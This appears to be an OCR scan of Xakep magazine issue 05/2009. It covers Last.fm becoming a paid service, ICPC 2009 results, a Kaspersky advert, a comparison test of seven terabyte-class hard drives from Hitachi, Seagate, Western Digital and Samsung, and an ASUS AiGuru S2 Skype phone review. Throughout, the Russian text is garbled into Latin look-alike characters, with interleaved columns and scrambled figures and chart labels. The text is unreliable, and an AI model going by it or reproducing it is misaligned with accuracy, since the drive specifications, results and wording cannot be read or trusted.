co CBeTOAi'10AHoi-i nOAcBeTKoi-i 1c00THO WeHi'1e CTOpOH 16:91 nopaAyeT aKpi'1JlOBO~ 3all.\i'1Toi-i OT l1apani'1H. nOcneAHee BeCbMa aKTyaJlbHO AJl~ KOMnaKTHoro nK, KOTOpbli-i Be3AeTaCKalOTC c060~. Kopnyc Hoyr6yKa BblnOIlHeH i'13 aHOAi'1pOBaHHoro aJlIO Mf1Hf1~,
'ITO TaK)I(e AellaeT ero He TOllbKO
npOYHbIM, JlerKf1M f1 CTf1nbHbIM, HO f13a ll.\f1ll.\aeT OT ,,6bITOBbIX TpaBM». KJlaBf1 Wf1 nOYTf1 nonHopa3MepHoi-i 192%1 KllaSf1aTYpbl 3all.\f1ll.\eHbl OT f13 Hoca nOKpblTf1eM HP DuraKeys, a BHyrpf1 Kopnyca Mini 2140 npf1Tai'1JlC~ 3-KOOPAi'1HaTHbl~ 11i'1¢POBoi-i aKcellepoMeTp. npi'1 YAape
XO'leWb cnywaTb?
nnaTM KPi'13f1C KHaM npf1XOAf1T, Kpf13f1C KHaM
nJlaTHblM An~ Bcex CTpaH, KpOMe CWA,
npf1XOAi'1T. nonyn~pHe~Wf1~ CepBi'1C
Beni'1K06pi'1TaHi'1i'1 i'1 repMaHi'1f1. 5ecnnaTHO
Last.fm CTaHOBf1TC~ nnaTHblM. PeWeHf1e
Tenepb MO)l(HO npocllywaTb TOJlbKO 30 Tpe
Bbl3peBaJlO AaBHO, i'1 nocile nepBoro
KOB, a nOTOM «03HaKOMi'1TeJlbHbli-i nepf10A»
06b~BJleHi'1~HaAaHHYIOTeMYBO¢f1I1f1allb 3aKOHYi'1TC~. Mec~YHa~ nOAni'1CKa Ha Last.
HOM 6nore HerOAOBaHi'11O nOllb30BaTellei-i
fm 060i-iAeTc~ B 3 eBpo, nepe'if1Cnf1Tb
He 6blno npeAella. nOHayallY cnopHbli-i
KOTopble MO)l(HO nocpeACTBOM PayPal.
war Aa)l(e XOTellf1 OTIlO)l(i'1Tb Ha HeonpeAe
Bce CKa3aHHoe KacaeTC~ f1MeHHO paAi'10,
lleHHOe
BpeM~
- Cnf1WKOM y)l( HeraTf1BHO
lost.fm
"'Jl"~
9HAllov".nw
Co6klnUl
PAAKol..lllU'm
WJlO f1 MeC~l1a, KaK pyKOBOAcTBO Last.fm
IOTC~
BCe)l(e peWf1nOcb. CepBf1C CTaHeT
3a6blBaTb, 'ITO npOKCf1 Hi'1KTO He OTMeH~JI.
~
014
6ecnnaTHbIMf1. 111, KOHeYHO, He CTOf1T
.
_ . =- c-..t.,(I.IqlIf_CbflJ ~~IIO_,_
~1'_'.
",::m
peKoMeHAyeMble, YapTbl f1T.A., nOKa OCTa
'l~ll'rw
Cfl'OwrHR
~IIOtIloli*OO'"
a npOYi'1e CepSf1Cbl, TO eCTb - cKp06nf1Hr,
OTpearf1pOBanO KOMbIOHf1Tf1. Ho He npo
J'.&,<VlO
__
Af(.Iltic.l. ,_
...... «
Ei3
t::I
"" ... ~.",...,_.n.-loN1l tlUol~-"""~t
_ _ 'e...-. '''- .~. .
..
_-',~,-~
......-:,- .....
c
" :0
~:;.:~,. :....--
XAKEP 05 /125/ 09
KOMaHAa
LleMnHOHbl MHpa! TeTa, YeTSepToe - pe6~TaM V13 CapaToscKOro
BTOPO~ rOA nOAp~A nepsoe MeCTO Ha MV1pO-
YHVlBepCVlTeTCKVlX KOMaHA MVlpa, OTo6paHHbix
BOM yeMnV10HaTe no nporpaMMV1posaHV1IO足
V13 7109 KOMaHA-npeTeHAeHTOB 1838 YHV1Bep足
rOCYAapcTseHHoro YHVlBepcV1TeTa. A Ha sTopoe
International Collegiate Programming Contest
CVlTeTOS. nepsoe MeCTO ,lJ,OCTanOCb KOMaH,IJ,e
MeCTO 3aTecanV1Cb KVlTa~l.\bl
[ICPC 20091- OCTaeTC~ 3a KOMaHAo~ I,'HMO.
CaHKT- neTep6yprcKoro rocy,lJ,apCTBeHHOrO
l.\VlHbxya:l. 3aAaYe~ yyaCTHV1KoS 6blno pewV1Tb
S3TOM roAY 3 V13 4 30nOTbiX MeAane~
V13
YHV1sepcV1TeTa
yHVI sepcVlTeTa V1HepopMal.\V10HHbIX TexHonorVl~,
Ha BpeM~ 11 CIlO>KHbIX 3aAay. 30noTbie npVl3epbl
sblVlrpanVl POCcVl~cKV1e KOMaHAbl. Ha npoweAweM
MexaHVlKV1 Vl onTV1KVI, TpeTbe - KOMaH,IJ,e CaHKT足
cnpaBVlnV1cbc 9-10 Vl3 HV1X, V160nbwe HV1KOMY, KPO足
SCToKronbMe ICPC copesHosanV1cb 100nyywV1x
neTep6yprcKOro roCYAa pCTseH Horo yHVl sepcV1-
Me KVlTa~l.\eB, S3~Tb nnaHKy s 9 3aAay He YAaIlOCb.
50nee TOro,
: I<A~ I): I~~I<V
www.kaspersky.ru
I
MTMO -
JlHAm13Y~C"
co CKr.'lIlKOM 30%
nOAPo6Hocm Ha httpJlwww.kaspersky.ru/legal
3110 ~:na6tl~a:r.op~R MocKBa, PIi)CG~g
Ka(}lle~IlKoro",
Tell.: (4951797-8700 (495) 645-7939
1495) 956-7000
Be6 cal1T: www.kaspersky.ru
»
fe-rrlJm
EBrEHHa:1 nOnOB MEKCE~ WYBAEB
~HE3A5YAY
HHKOrAA
CpaBHr.1TeJ1bHbl~ TeeT Br.1H"IeeTepOB 06beMOM He MeHee 116
>KecTKV1~ ,D,V1CK B ponV1 Cpe,D,CTBa xpaHeHV1~ V1 HaKonneHV1~ V1HepOPMaU.V1V1 .....
..........
...........
nO>KanyV1, caMblV1 npoV13BoAV1TenbHblV1 V1 ,D,eWeBblV1 ,D,eBaV1C.
y MHorV1X nonb30BaTene~06beMbi ,D,aHHbIX, KOTopble He06xo,D,V1MO co
xpaHV1Tb V1 06pa60TaTb, V1Cl1V1Cn~IOTC~ rV1ra6a~TaMV1, nO::HoMy BV1Hl1eCTep
eMKOCTblO Bblwe
1 T6 y>Ke He ~Bn~eTC~ pOCKOWblO, a
nepeXO,D,V1T B pa3p~,D,
H e06XO,D,V1 M OCTV1. CIlY4a~HoroAocTyna. TaK KaK B COBpeMeHHblX
~
TEOPETl-14ECKAfi nOArOTOBKA
nporpaMMO~ Lavalys Everest Ultimate Edition
>KeCTKVlX AI-tCKaX nO-npe>KHeMY V1cnollb3yeTc5I
BepC1-t1-t 4.60. YTl-tlll-tTa CIlY>KVlT ).\1151 c60pa I-tH<j>Op
MarHVlTope3V1CTVlBHbl~ cnoco6 3anVlCVI Vl4TeHVI~
Ma 1.\ VI VI, a TaK>Ke
>KeCTKVle gVlCKVI o61lagalOT pa31lVl4HblMVI xapaKTe
AaHHbIX, TO <j>Vl3V14eCKoe nepeMeLJ.(eHVle 4I-tTa 10
BaHl-te no P~AY napaMeTpoB. nl-tHe~Hafi CKOpOCTb
pVlCTVlKaMVI, ogHa Vl3 KOTOpblX - eMKOCTb. VlMeHHO
LJ.(e~
4TeHI-t~
no eMKOCTVI
rOIlOBKVI B Hy>KHOe MeCTO AI-tCKa VI 4TeHl-te
n03BOIl~eT
npOBOAI-tTb TeCTVlpo ~/
Bcer).\a y5bIBalOLJ.(a~,--'- 3TO Tbl MO>KeWb
I-tH<j>opMaI.\VlVl3aHI-tMaeT BpeM~. KaK npaBVlIlO,
Ha61llogaTb Ha rpa<j>I-tKax. nllaBHoe y5blBaHVle, 6e3
KOllVl4eCTBO gaHHblx MO>KHO coxpaHVlTb. OgHaKo
3TOT napaMeTp
CKa4KOB, 6YAeT CBVlAeTellbCTBOM 6e30Wl-t604Horo
3TOT napaMeTp
HaKonViTell~
Mbl
onpegell~eM,
KaKoe
Vl3Mep~eTC~
B MVlIlIlViceKYH).\ax I-tlll-t
MC VI COCTaBIl~eT nop~AKa 10-20 Me. YeM MeHbwe
4TeHVI~
3aBVlCVlT Hanp~MYIO OT nIlOTHOCTVl3anVlCVI. Vl3Me
3TO 3Ha4eHl-te - TeM 5blCTpee 5YAeT OTKIlVIK Ha
TVlBHblX YCTPO~CTB VI nOBblWeHl-teM TeMnepaTYpbl
p~eTC~
TBO~
YCTPO~CTB BCVlCTeMHOM 61l0Ke, Mbl o6paLJ.(allVi
nOCTO~HHO YBeIlVl4V1BaeTC~
VI
OHa B 6V1Tax Ha KBaApaTHbl~ AIO~M. HOTaK
3anpoe.
AaHHbIX. B CB~3V1 CpOCTOM 3Hepr03<j><j>eK
KaK Mbl npVlBblKIlVI MblCIlVlTb KJTerOpl-t~MVl6a~TOB,
TpeTbl-tM, 04eHb Ba>KHbIM, napaMeTpOM, ~BIl~eTC~
TO VI B xapaKTep1-tCTVlKaXYKa3b1BaeTC~ VlMeHHO
IlI-tHe~Hafi
06beM xpaHVlMbIXAaHHbIX. KpOMe Toro, Tbl AOIl>KeH
I.\I-tVi. OT Hee 3aBI-tCVlT, KaK 6blCTpOTbi CMO>KeWb
4-5 4aCOB, Mbl CHVlMall1-t nOKa3aHVI~ BCTpoeHHoro
3HaTb, 4TO npOl-t3BOAl-tTellVi 4aCTeHbKO XI-tTP~T
coxpaHVlTb HOBbl~ <j>l-tllbM CAVICKa VI 11 VI CKOllbKO
TepMOAaT4VI Ka V13aHOCVlIlVI VlX BcpaBHVlTellbHYIO
I-t npl-tpaBHI-tBalOT 1 KI-tIl06a~T K1000 6a~T, BTO
Te6e npVlAeTC5I >KAaTb npVl 3arpY3Ke eMKO~ I-trpbl.
Ta 611 VI l.\y - Malloe TenllOBblAeneHVle rapaHm
~
YCTPO~CTB
BpeM~,
CKOpOCTb 4TeHI-t~ I-t 3anVlCVI VlH<j>opMa
BaHI-t~ YTe6~ «nponaAaeT» HeCKOllbKO AecmKOB
METO.o.l-1KA TECTl-1 POBAH l-1f1
rl-tra6a~T. 3Ha~, 3TO ynyLJ.(eHHble 24 6a~Ta Bcnllbl
YTo5bl npOBepVlTb xapaKTepl-tCTI-tKI-t, 3a~BlleHHble
BalOT - a TBO~ Bl-tH4eCTep HaBepH5IKa I-tCnpaBeH.
np01-t3BOAI-tTelleM, I-t BbI5lCHVlTb, KaKO~ AeBa~c
BTOPblM Ba>KHbIM napaMeTpoM 51BIl~eTC~ BpeM~
ge~CTBVlTellbHO
•••••••••• TeCTOBOeo6oPYAOBaHMe:
nporHaB BceTeCTbl, KOTopble AIlVllll-tCb nOpfiAKa
pyeT nY4wVI~TeMnepaTYpHbl~ pe>KVlM AIl~ Bcex
KaK 1 K6 ~ 10246. B CB~3V1 C3TI-tM, nopo~
B03Hl-tKaeT nYTaHVll.\a, KorAa nOClle <j>opMaTVlpo
BHVlMaHVle Ha TeMnepaTYPY >KeCTKoro AViCKa.
KOMnblOTepa.
lly4we, Mbl BocnOllb30Baill-tCb
•TeCTOBbli ••••••••• CTeHA:
Hitachi DeskStar HD721 01 OKLA330
np0l.\eccop, Mrl.\: 2200, AMD Athlon 643500+ (Socket 939)
Seagate ST31 000340AS
CI-tCTeMHaSl nllaTa: Albatron K8SLI
Seagate ST31500341 AS
naMSlTb, M6: 2x512, Corsair Value Select DDR-400
Samsung HE103UJ
BI1Aeo: ASUS EAX1900XTX
Western Digital WD1 OEADS Caviar Green
CI-tCTeMHbli1 BI1H4eCTep, r6: 80, Seagate Barracuda 7200 rpm, IDE
Western Digital WD1 001 FALS Caviar Black
61l0K nI1TaHI1Sl, BT: 450, Floston
~ 016
XAKEP 05 /125/ 09
>> ferrun-.
BPEMSI CIlYYAliIHOrO AOCTYnA. MC
Hitachi DeskStar HD721010KLA330
_
Seagate ST31000340AS
Seagate ST31500341AS
Samsung HE103UJ
Western Digital WD1001FALS
Caviar Black
Western Digital WD10EADS
Caviar Green
10
12
14
16
M/e
JlIo1AIo1PYIOT Blo1H4ECTEPbl OTWD
CKOPOCTb PA60Tbi BnE4ATJlSlET, HO, nOTPATIo1B ELUE HEMHOrO
AEHEr, MO)f{HO nOJlY4lo1Tb 3K3EMnJlSlP C60JlbWEII1 EM KOCTblO
Hitachi DeskStar
Seagate
H072101 OKLA330
ST31000340AS
TeXHM'IeCKMe xapaKTepMCTMKM: J6beM, r6: 1000 AHTep¢eiic: SATA 300 J6beM Ha OAHy IlnacH1HY: 200 r6 :KOpOCTb SpalL\eHV151, 06/MV1H 7200 06beM K3W naM51TV1, M6: 32
TeXHM'IeCKMe XapaKTepMCTMKM: 06beM, r6: 1000 iIIHTep¢eiic SATA300
(onV1yeCTSO AV1CKOS: 5
KOnMyeCTSOAMCKOS:4
(onV1yeCTSO ronOSOK: 10
KOnMyeCTSO ronoSOK: 8
05beM Ha OAHy nnaCTMHy: 250 M6 CKOpOCTb SpalL\eHM51, 06/MMH: 7200 05beM K3W naM51TV1, M5: 32
10Mep>KKa NCQ: eCTb
nOMep>t<Ka NCQ: eCTb
Macca, Kr: 0,7
Macca, Kr: 0,64
• • • • • • 0000
• • • • • • • • 00
npasonpV1eMHV1KOM V1 snaAenbL\eM 3aSOAOS IBM no npoV13sOAcTsy >KeCTKV1X
«30nOToii Tepa6a~T» OT Seagate. MOAenb AosonbHO nonyn51pHa 3a CyeT
AV1CKOS CTana Hitachi. ill PYKosoAV1TenV1 KOMnaHV1V1 CKa3anV1: «OAHOMy
SblCOKMX CKOPOCTHblX nOKa3aTene~ McpasHV1TenbHo He60nbwoii L\eHbl.
Tepa6aiiry 6bITb». iIIH>KeHepbl He CTanV16V1Tb peKOPAbl nnOTHOCTV13anV1CV1
B Kopnyce pa3MeCTMnMcb4 6nMHa no 250 r6. npMMeHeHV1e nepneHAV1KY
IolYMeCTMnV1 S 60Kce Aesaiica cpa3Y 5 nnaCTV1H no 200 r6. B 3TOM Aesaiice
n51p>lOii3anMcV1 MelL\e MHorMX TeXHonorM~ n03sonMno AOCTMYb OTnMYHblX
HawnV1 MeCTO Hapa60TKV1
V1
AOCTV1>KeHV151 IBM. HanpV1Mep, paccMaTpV1saeMblii
>KeCTKV1ii AV1CK V1cnonb3yeTTexHonorV11O nepneHAV1Kyn51pHoii3anV1cV1, KOTO
nOKa3aTeneii. KaK V1Tor - Sbl60pOM MHorMX nonb30saTene~ [Aa V1 peAaK L\MV11 y>Ke He pa3 CTaHOSMnaCb MMeHHO 3Ta MOAenb. Manoe speM51 AocTyna
pa51 npV13HaHa AOCTaTOYHO nepcneKTV1sHoii. K HeAOCTaTKaM MO>KHO OTHeCTV1
nopaAyeT 06naAaTeneii50nbWMX apXMSOS CMenKMMM ¢aiinaMM: KnpMMepy,
OTHOCV1TenbHO SbICOKV1ii yposeHb TeMneparypbl. npV1 OTCYTCTSV1V1 AOn>KHOrO
MY3bIKanbHO~ KOnneKL\MV1 MM1 MHorOYV1CneHHbIX ¢OToanb60MOS. nOpaAosa
oxna>KAeHV151 :no HeraTV1SHO CKa>KeTC51 Ha cpOKe >KM3HM Aesa~ca. KpoMe
na AosonbHOTMxa51 pa50Ta Aesa~ca [Aa>Ke npM yaCTblX 3anpocax AaHHblxl.
TOro, TpecK MexaHM3Ma ronOSOK npM aKTMsHo~ pa60Te CAaHHblMM MO>KeT
CoseryeM nOAYMaTb 0 AononHMTenbHOM OXna>KAf'HMV1, nOTOMy YTO SCMCTeM
AOKyyaTb MOTsneKaTb.
HMKe SMHry6YAeT >KapKO - Harpes y Hero, CYA51 no Teery, OlL\yTMMbl~.
XAKEP 05 1125/09
»
fernJn-.
nl1KOBAll CKOPOCTb I1HTEP<IlEHCA
TEMnEPATYPA rpA,Q.I.lEJ1bCI111
Hitachi Deskstar HD721010KLA330
Hitachi Deskstar HD721010KLA330
Sea gate sT31000340As
seagate sT31000340As
seagate sT31500341As
seagate sT31500341As
samsung HE103UJ
Sam sung HE103UJ
Western Digital WD1001 FALs
Caviar Black
Western Digital WD10EADs
Caviar Green
Western Digital WD1001 FALs Caviar Black Western Digital WD10EADs Caviar Green
o
100
50
150
200
\ o
250
M6/c
10
20
30
50
40
60
rpaA.L.!ellbClUI
4EM BI1HT XOllOAHEE - TEM OHO llY4WE
Seagate
ST31500341AS
samsung HEl 03UJ
TeXHM'IeCKMe xapaKTepMCTMKM: 06beM, 16: 1500 V1HTep<jJe~c: SATA300 06beM Ha OAHy nJlaCTVtHy: 375 r6 CKOpOCTb BpaUjeH'1~, 06/M'1H: 7200 06beM K3W naMm'1, M6: 32
TeXHM'IeCKMe XapaKTepMCTMKM: 06beM, 16: 1000 \I1HTep<jJeik:
SATA300
KOJl'1yeCTBOrOJlOBOK:8
334 r6 CKOpOCTb BpaUjeH'1~, 06/M'1H: 7200 06beM K3W naM~T'1, M6: 32 KOJl'1yeCTBO A'1CKOB: 3 KOJlVlyeCTBO roJlOBO K: 6
nOAAep>KKa NCO: eCTb
nOAAep>KKa NCO: eCTb
KOJl'1yeCTBOA'1cKOB:
Macca, K,:
'655"6 py~.", ..::. __ 1:
06beM Ha OAHy nJlaCTVlHY
4
0,68
Macca, K,:
••••••••• 0
0,64
• • • • • • • 000
nOJITOPA TEPA6AIIITA C4ACTbSl- HE MAK01MYM. MO>KHO HAllln1 MOAElll111 HA 2 T6
CPABHI1TEllbHO BblCOKASl UEHAAEBAIIICA - HE HEAOCTATOK, A rAPAHTI1Sl BblCOKoro KA4ECTBA
Pa3B'1T'1e JlVlHe~KVI HaKOn'1TeJle~aT Seagate npVlBeJlO K C03AaHVlIO B'1HYeC Tepa eMKOCTblO 1,5 T6, B 3TO~ >Ke Jl'1He~Ke npeACTaBJleHbl AeBa~cbl 06beMoM 500,750 VI 100016, TaK YTO MO>KeWb nOA06paTb '1MeHHO
ry MOAeJlb, KOTopa~
BVlHyeCTep He AJl~ cnOKO~HO~ >K'13H'1, HO AJl~ np0'13BOAVlTeJlbHO~ pa60Tbi. 3TO BVIAHO '13 TeCTOB '1 npoCTO np'1 B3,Jl~Ae Ha ljeHYlaA>KeTOTJl'1YHO cnpaB
Te6e He06xoAVlMa, ECJlVl rOBOp'1Tb KOHKpeTHo 06 3TO~, TO MO>KHO CMeJlO
Jl~eTC~ CO CBoe~ pa60TO~ B COCTaBe RAI D-MaCC'1BOB. 6YAb TO He6oJlbWO~
YCTaHaBJlVlSaTb ee B cepBepbl HayaJlbHOro ypOBH~ VlJl'1 AOMaWHVle NAS-c'1c
KopnopaTV1BHbl~ cepBep '1JlVl nOJlb30BaTeJlbCKoe XpaHVlJl'1Uje AaHHblx,
TeMbl, npeAnOJlO>KeH'1~KaCaTeJlbHO BbICOKO~ pa60Ye~ TeMneparypbl6blJlVl
WVlPOK'1~ MOAeJlbHbl~ P~A >KeCTKVlX A'1CKOB eMKOCTblO aT 160 AD 100016 AaeT
pa3Be~Hbl nOCJle npOBeAeHHblX TeCTOB -
B03MO>KHOCTb Bbl6V1paTb He TOJlbKO no 06beMy, HO '1 no '1MelOl1\e~C~ B KapMa
pe3YJlbTaT B 48 ,paAycoB CY'1TaeT
C~ AOCTO~HbIM, npaBAa, nOCJle BblXOAa YCTpo~cTBa Ha PblHOK 6blJl3aMeyeH
He cyMMe, lapaHT'1e~ KayeCTBa TaK>Ke CJlY>KVlT BpeM~ Hapa60TKVI Ha OTKa3,
onaCHbl~ mlOK -
3a~BJleHHOe npo'13BOAVlTeJleM,- 1,2 MJlH, YaCOB. nOYTVI BABoe 60JlbWe
nOTep~ Bcex AaHHblxl neY'1TC~ OH CMeHO~ npowVlBKVI VlJl'1
nOXOAOM B cepBVlcHbl~ l.\eHTp, XOT~ '1 TaM He ,apaHTVlpylOTcoxpaHHOCTb '1H<jJopMal.\'1'1
~ 018
:I.
CTaHAapTHblX BeJl'1YVlHI K HeAOCTaTKaM MO>KHO OTHeCT'1 BbICOK'1~ ypoBeHb wyMa, xapaKTepHbl~ '1MeHHO AJl~ 3TO~ JlVlHe~K'1,
XAKEP 05 11251 09
>> fEtrrlJrn
'1TEHHE/3AnHCb. nHK cKoPocTEIil Hitachi DeskStar H0721010KLA330
_
write
read
Seagate ST31000340AS
Western Digital
WDl 001 FALS Caviar Black
Seagate ST31500341AS
TeXHMlfeCKMe xapaKTepMCTMKM: 06beM, 16: 1000
Samsung HE103UJ Western Digital WD1001 FALS Caviar Black Western Digital WD10EADS Caviar Green
V1HTep¢e~c:
SATA300
06beM Ha O,L\HY nnaCTI<1HY, 16: 334
o
20
60
80
100
120
M6/c
B3TOM TECTETPAAl1Ul10HHOXOPOWl1E PE3YllbTATbi nOKA3blBAIOT Bl1H4ECTEPblSEAGATE
CKOPOCTb BpaU1eHI<1~, 06/MV1H: 7200 06beM K3W naM~TV1, M6: 32 KOnl<1yeCTBO,L\V1CKOB:
3
KOnV1yeCTBOronoBoK:6 nOMep)l(Ka NCO: eCTb
Western Digital WD 1OEADS Caviar Green
Macca, Kr:
0,69
• • • • • • • • 00
TeXHMlfeCKMe xapaKTepMCTMKM: 06beM, 16: 1000 AHTep¢eik
SATA300
06beM Ha O,L\HY nnaCTi'IHy, 16
334
CKOpOCTb BpaU1eHV1~, 06/MV1H: 7200 06beM K3W naM~TV1, M6: 32 KOnV1yeCTBO,L\V1CKOB:
3
>(onV1yeCTBO ronOBOK: 6 -:oMep>KKa NCO: eCTb ilacca, Kr:
0,68
F400 py6::,
••••••••• 0
npl13blBbi COXPAHI1Tb npl1POAY OKA3blBAIOT Blll1flHI1E HA np0l13BOAl1TEllEIit Bl1H4ECTEPOB - 3HEPr03C1>CI>EKTl1BHOCTb B03BOAl1TCfl BKYllbT
BMEPY np0l13BOAl1TEllbHbilit 113C1>CI>EKTl1BHbUil AEBAIitC OT I1MEHI1TOrO np0l13BOAl1TEllfl B npOTI<1BOBeC «3eneHoMy» BI<1HyeCTepy, WD npOABl<1raeT nI<1He~KY np0l<13 BOAV1TenbHbIX HaKOnv1Tene~. V1cnonb30BaHl<1e nnaCTV1H BbICOKO~ eM KOCTI<1
50pb6a 3a cnaceHV1e 3KonorV1V1 Hawna OTKnV1K B CTaHe np0V13BO,L\V1Tene~ Tex
n03BonV1no npl<1MeHI<1Tb BCerOTp1<16n1<1HaAn~ ,L\OCTV1>KeHI<1~ nopora B 1 T6.
HV1KV1: coxpaH~Tb 3HeprV11O He TonbKO He06xo,L\V1MO, HO 1'1 MO,L\HO. MapKeTOnorV1
nOMI<1MO HennOXI<1X CKOPOCTHblX nOKa3aTene~, raA>KeT MO)l(eT nOXBaCTaTbC~
He ,L\peMnlOT 1'1 Ha Bce CTOpOHbl Kpl<1yaT, YTO 1<1 X ,L\eBa~C «caMbl~ 3eneHbl~ V13KO
npl<1cyTcTBl<1eM pa3nl<1YHbiX TexHonorl<1~, n03BonlllOU1V1X nOBblCI<1Tb coxpaH
HOMI<1YHbl~». ,[\e~CTBI<1TenbHO, ,L\eBa~C nOKa3an Ha YAV1BneHl<1e BbICOKV1~ ypo
HOCTbAaHHbIX: HanpV1Mep, TeXHOnOrl<1e~ NoTouch, npeAOTBpall1alOU1e~
BeHb np0V13BOAI<1TenbHOCTV1 npV1 H1<13 KI<1X pa60YI<1x TeMnepa-rypax 1<1 He60nbWO~
KOHTaKT ronOBOK CAV1CKaMI<1 npV1 B03HI<1KHOBeHI<11<1 BV16pal.\I<1V1. Hy, npo CHV1
WyMHOCTI<1. npe,L\bIAYU1V1e MO,L\enV1 3TO~ nV1He~KV16blnV1 c06paHbi Ha yeTblpex
>KeHl<1e wyMa 1'1 npoYl<1e TeXHV1yeCKV1e MOMeHTbl MO)l(HO Aa>Ke He ynoMI<1HaTb.
nnaCTI<1Hax. HO BBeAeHl<1e HOBOro TeXnp0l.\ecca n03Bonl<1nO 060~TV1Cb TpeM~
nOHpaBV1nV1Cb HaM 1'1 HeBbICOKV1e nOKa3aTenl<1 TeMnepa-rypbl, n03BOnlllOll1V1e
npV1 paBHOM 06beMe. HeMHoro paCCTpal<1BaeTTOnbKO He caMbl~ nyYWV1~
npOAnl<1Tb CpOK cny)l(6bl YCTpO~CTBa. Pa3Be YTO ~ XOTenOCb 6bl BI<1AeTb 60nee
nOKa3aTenb BpeMeHV1 ,L\oc-ryna - BI<1,L\V1MO, pacnnaTa 3a 3Heproc6epe>KeHl<1e.
BHYWI<1TenbHble pe3ynbTaTbi CKOpOCTHblX TeCTOB .
•••••••••••••••••••••••••••••••••••••••••••••••••••••••••• ~
BblBOAbl
pa3AaAVlM HarpaAbl. MeCTa HV1KorAa He 6blBaeT
TaK)I(e He 6e3pa3nV1YHa CYAb6a nnaHeTbl, 1'1 Mbl
Te6e y>Ke He TepnV1TCIl nOCTaBV1Tb HOBb/14 BI<1HyeC
MHOro, n03TOMY 3a eMKOCTb 1'1 npOVl3BOAI<1Tenb
AyMaeM 0 6YAYll1V1X nOKOneHVl~X, TO npVl3 «J1yYwall
iep B CV1CTeMHV1K
3aKayeK
HOCTb Mbl Harpa>KAaeM Seagate ST31500341AS
nOKynKa» AOCTaeTCIl Western Digital WD10EADS
O,L\enVl
npVl30M «BbI50P PE,[\AKLjV1V1». V1 nOCKOnbKY HaM
Caviar Green,:x::
Vl3anYCTVlTbAec~TO
BToppeHTe?TorAa oT6epeMnyYWI<1e
XAKEP 05 /125/09
1'1
~
019
Io1rOPb c1lEAIOKlo1H
CKaMnqlOH ASUS AiGuru 52 TEXHH4ECKHEXAPAKTEPHCTHKH: Tt-ln: 5eCnpOBO/:lHoi! Skype-q,OH At-lcnnej;i: 128x128 T04eK,l.lBeTHoi! 5ecnpoBOAHa5l CB5l3b: IEEE802.11
bIg
BpeM5l aBToHoMHoj;i pa60Tbl: 3 4. (B pelKlIIMe pa3roBopal. 25 4. (B pelKlIIMe OlKlII/:laH1II1'1I MOlJ.1HOCTbAt-lHaMt-lKa: a,S 8T ia6apt-lTbl: 116 x 47 x 12.3 MM Bec: 72 r
ECIlIII Tbl aKTIIBHO o6lJ.1aeWbCl'l CnOMOl1lblO
AiGuru 52 noxo)l( Ha cpeAHecTaT1'1CTt-l
nporpaMMbl Skype, TO, HaBepHoe, He pa3
4eCKt-lj;i M06t-lnbHblj;i 06pa3l.\a 4-neTHej;i
3aAYMbIBanC5l 0 npt-l06peTeHt-lt-l cnel.\t-l
AaBHOCTt-l.
anbHoj;i rapHt-lTYpbl. ill ecnt-l Tbl AO Ct-lX nop
CKaj;ino<jJoH aBTOMaTt-l4eCKt-l nOAKn104aeT
3Toro He cAenan, Skype-<jJoH oTASUS
C5l KaAamepy npt-l3anycKe Skype-Knt-leHTa
MO)l(eT CTaTb nOAXOA5lIJ.(t-lM peWeHt-leM.
Ha KOMnblOTepe. Tyr HaAO nOAYepKHyrb,
AiGuru 52 - BTOpa5l MOAenb Skype-Tene
4TO AiGuru 52 He 5lBn5leTC5l aBTOHOMHblM
<jJoHa oTASUS. OH CTan npv1BneKaTenbHee
Skype-Knt-leHTOM. OH <jJYHKl.\t-lOHt-lpyeT
He TonbKO CT04Kt-l3peHt-l5l At-l3aj;iHa, HO t-l
TonbKO npt-l ycnewHoM COeAv.HeHt-lt-l
6naroAap5l paCWt-lpeHHoj;i <jJYHKl.\t-lOHanb
nporpaMMHoro Knt-leHTa Ha KOMnblOTepe.
HOCTt-l.
nocne 3TOro CTene<jJOHa MO)l(HO npo
KOMnneKT COCTOt-lT 1'13 Tpy6Kt-l t-l USB
Jlt-lCTbIBaTb KOHTaKT-nt-lCT, COBepwaTb
aAamepa. ,[\n5l Ha4ana pa60Tbi Tpe6yeTC5l
3BOHKt-l, npocnyWt-lSaTb ronocoBylO noyTY t-l
YCTaHOBt-lTb <jJt-lpMeHHylO yrt-ln1'1TY Cnpt-l
OpraHt-l30BblBaTb KOH<jJepeHl.\CB5l3b. A BOT
JlaraeMOro KOMnaKT-At-lCKa. B np0l.\ecce
OTnpaBn5lTb TeKCTOBble C006IJ.(eHt-l5l CHero
t-lHCTann5ll.\1'1t-l 6YAeT npeAnO)l(eHO nOAKnlO
He YAaCTC5l. 3aTO MO)l(HO nocnywaTb My3bl
4v.Tb KKOMnblOTepy USB-aAamep t-l Tpy6Ky.
Ky CnOMOlJ.(blO CepBt-lCOB Windows Media
CO<jJT caM aBTOMaTt-l4eCKt-l HaCTpOt-lT Bce
t-l iTunes. Te6e nOTpe6yeTC5l YCTaHOBt-lTb Ha
He06xOAt-lMble napaMeTpbl coeAvlHeH1'15l,
KOMnblOTep cooTBeTCTBylOlJ.(t-le ymn1'1Tbl, t-l
nocne 4ero MO)l(HO t-lCnOnb30BaTb 6ec
nOCJle 3TOro MO)l(HO t-lCnOnb30BaTb AiGuru
npoBoAHoj;i pe)l(t-lM. HeCMOTp5l Ha TO, 4TO
52 B Ka4eCTBe cBoe06pa3Horo paAt-lO,
Tpy6Ka v.cnonb3yeT CTaHAapTHblj;i AJl5l Wi
npo1'1rpblBa5l My3blKy, CKa)l(eM, Ha KyxHe.
Fi npoToKon - OHa <jJyH Kl.\t-lOHt-lpyeTTon bKO
nonHoj;i3ap5lAKt-lXBaTaeTnp1'1MepHoHa
CKOMnneKTHblM 6ecnposoAHbiM aAame
AeHb yMepeHHoro 1'1cnonb30BaH1'15l. Y41'1Tbl
pOM. A BOTcaM aAamep BnonHe MO)l(eT
Ba5l, 4TO nOA3ap5l)l(aeTC5l Tene<jJoH OT nopTa
6blTb nepeKnlO4eH
USB - Ht-lKaK1'1X np06neM CnOA3ap5lAKoj;i
11,3
pe)l(t-lMa pa60Tbi B
Ka 4eCTBe T04 Kt-l AO cTYna 1<jJyH Kl.\t-l OH t-l pyeT
B03Hv.KHyrb He AOn)l(HO.
B HeM no YMon4aHt-l101 Spe)l(t-lM 06bl4HOro
B l.\eJlOM, ASUSAiGuru S2 - BeCbMa
Wi-Fi aAamepa.
t-lHTepecHblj;i AeBaj;ic, KOTOpblj;i 6YAeT
Tpy6Ka OCHalJ.(eHa AOCTaTOYHO HennOXt-lM
none3eH BceM nlO61'1Ten5lM Skype-06
l.\BeTHbIM >KK-At-lCnneeM, rAe oT06pa
